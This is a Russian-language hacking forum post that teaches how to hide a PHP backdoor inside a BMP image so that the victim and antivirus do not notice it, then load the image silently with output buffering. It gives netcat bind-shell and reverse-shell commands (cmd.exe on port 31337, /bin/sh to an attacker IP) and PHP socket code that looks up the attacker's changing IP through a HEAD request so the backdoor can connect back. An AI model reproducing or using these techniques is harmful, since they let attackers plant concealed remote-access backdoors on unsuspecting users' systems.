Статья по большей части западло, т.к. приватных секретов не рассказываю, а рассказываю только клевые фичи )) для затравки советую прочитать 2 статьи (если еще не прочитали): /thread23432-php+%F2%F0%EE%FF%ED.html и /thread20386-netcat.html Прочитали? ну тогда дальше: почему меня она не устроила? слишком мало раскрывают вкусностей - причем не раскрывают очевидных а именно - маскировка пшп кода. О примитивных методах я уже писал - /thread27118.html - но это не совсем то, о каком методе расскажу сейчас. чем плох тот? ну... э... тем, что антивирь все равно найдет такой код, покрайней мере его подкрасит, а человек, просматривая сорец найдет его 99%, а наша цель спрятать от человека, т.к. мы впариваем "почти" безобидный код! типа - нака, зацени мое творение! Наша задача засунуть пшп код куданибудь подальше, так, чтобы юзер ничего даже не заподозрил! Где будем ныкать? ну например в картинке тут вы можете возразить, мол типа - неоткрываемая пикча подозрительно! ан нет) смотря как редактировать. Вот например - зацените пикчу: http://slil.ru/24095350 - "боевой" файл в формате бмп (имаджшак ужимает в .png) в чем накол? на глаз незаметно, а загляните-ка в хекс-редакторе и проматайте в самый низ, удивило, правда? в самом начале можно заметить еще и встроеный алерт) зачем он, поймете дальше. итак, врятли антивирь да и пользователь, точнее наивероятно не будут так палить пикчи а это нам на руку ))) PHP: <? include('test.bmp'); ?> но, о черт! нам в браузер вылазит и алерт, и пшп инфо, и самое обидное - весь остальной бред вида ")&$" нет... это не то, что нам нужно. думаете забить? нет, не забьем, вспоминаем про функции "кеширования" вывода: PHP: @ob_start(); include('test.bmp'); @ob_end_clean(); вуаля! в браузер ничего не выводится. теперь думаем, накой я просил прочитать про неткат? а вот зачем - на сокетах кидаем бекконнект, и усе))) да много что - цели добились, кода не видно) Но! это еще не все) с тем же успехом мы можем сныкать экзешник
Пряники) Вкусности, для начала солененькие PHP: <? system('C:\nc\nc -l -p 31337 -d -e cmd.exe -L'); ?> теперь немного вкуснее: локально: nc -l -n -v -p 80 в код: nc -e /bin/sh 10.31.3.37 80 тоже солено, скажете вы? ну чтож, а если айпишка кулхацкера динамическая? подсластим раствор: с помощью сокетов или fopen открываем файл на удаленном сайте с нашим айпи, к которому будем коннектиться. думаете юзать GET, так? а нафиг читали вот это: /thread35180.html ??? конечно же юзаем метод HEAD ) итак, код серверного сценария: PHP: <? header('Root: 127.0.0.1'); ?> единственной строчкой с полезной нагрузкой мы выставляем ответное поле хедера - наш айпи, теперь что сунем в контейнер кода - нашу пикчу: PHP: <?php // открываем сокет на хост: локалост и на 80 порт (стандартный веб) $fp = fsockopen('lamo.my', 80, $errno, $errstr, 30); // Проверяем успешность установки соединения if (!$fp) echo "$errstr ($errno)<br />\n"; else { $headers = "HEAD /server.php HTTP/1.1\r\n"; // отвечает за тип протокола! $headers .= "Host: lamo.my\r\n"; $headers .= "Connection: Close\r\n\r\n"; // Отправляем HTTP-запрос серверу fwrite($fp, $headers); // Получаем ответ $line=''; while (!feof($fp)) { $line .= fgets($fp, 1024); } fclose($fp); } echo $line; ?> естественно, вместо просто вывода инфы наподобие: выдираем нужный айпи, и коннектимся к нему. насчет элементарности - согласен, только 1 вещь - это модель, лучше конечно юзать отксоренный участок кода пикчи (конечно, с оговорками - мы не должны получить "лишнего кода") но, как говорится, все гениальное просто